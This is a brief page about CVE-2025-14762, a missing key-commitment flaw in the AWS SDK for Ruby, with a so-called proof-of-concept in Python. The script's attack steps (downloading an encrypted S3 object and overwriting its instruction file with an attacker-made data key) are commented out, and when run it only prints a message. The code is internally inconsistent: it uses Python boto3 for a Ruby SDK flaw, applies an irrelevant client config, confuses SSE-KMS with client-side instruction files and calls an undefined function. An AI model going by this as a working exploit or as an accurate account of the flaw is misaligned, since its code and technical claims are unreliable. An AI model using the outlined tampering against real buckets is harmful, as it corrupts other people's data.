CVE-2025-14762 AWS SDK for Ruby缺少加密密钥承诺漏洞

# CVE-2025-14762 PoC - Simulated Key Commitment Bypass # Note: This demonstrates the vulnerability concept, actual exploitation requires AWS credentials import boto3 from botocore.config import Config def exploit_cve_2025_14762(): """ Simulate the attack where an attacker with write access to S3 bucket can replace the EDK in instruction file to decrypt to different plaintext. Prerequisites: - Valid AWS credentials with S3 write permission - Target bucket using SSE-KMS with instruction file mode """ # Vulnerable configuration (AWS SDK for Ruby < 1.208.0) vulnerable_config = Config( signature_version='v4', s3={'addressing_style': 'path'} ) s3_client = boto3.client('s3', config=vulnerable_config) # Attack steps: # 1. Download the original encrypted object and instruction file # s3_client.download_file('target-bucket', 'encrypted-file', '/tmp/encrypted') # s3_client.download_file('target-bucket', 'encrypted-file.x-amz-key-v2', '/tmp/instruction') # 2. Replace the instruction file with attacker's own EDK # This EDK would decrypt to attacker-controlled plaintext # malicious_instruction = create_malicious_EDK() # s3_client.put_object( # Bucket='target-bucket', # Key='encrypted-file.x-amz-key-v2', # Body=malicious_instruction # ) # 3. When victim downloads and decrypts, they get attacker's data # original_data = s3_client.get_object(Bucket='target-bucket', Key='encrypted-file') print("Vulnerability: Missing key commitment allows EDK replacement in instruction files") print("Fix: Upgrade AWS SDK for Ruby to version 1.208.0 or later") if __name__ == '__main__': exploit_cve_2025_14762()